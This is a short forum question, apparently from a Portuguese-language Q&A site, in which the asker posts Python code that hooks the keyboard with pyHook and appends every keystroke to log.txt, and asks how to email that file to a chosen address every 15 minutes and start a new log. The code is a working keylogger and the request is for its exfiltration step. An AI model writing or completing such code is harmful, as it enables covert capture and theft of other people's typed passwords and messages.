Skip to main content
2 de 4
adicionou 48 caracteres ao conteúdo
Sergio
  • 135,1mil
  • 16
  • 201
  • 294

I need help in python with Email?

I would like to know how do I make my log.txt file be sent to a desired email at a set time (Ex: 15 min)? And after being sent, the process restarts and make a new log.txt

import pythoncom, pyHook,

def registrar(evento):
    arquivo = open('log.txt', 'a')
    teclas = chr(evento.Ascii)
    arquivo.write(teclas)

hook = pyHook.HookManager()
hook.KeyDown = registrar
hook.HookKeyboard()

pythoncom.PumpMessages()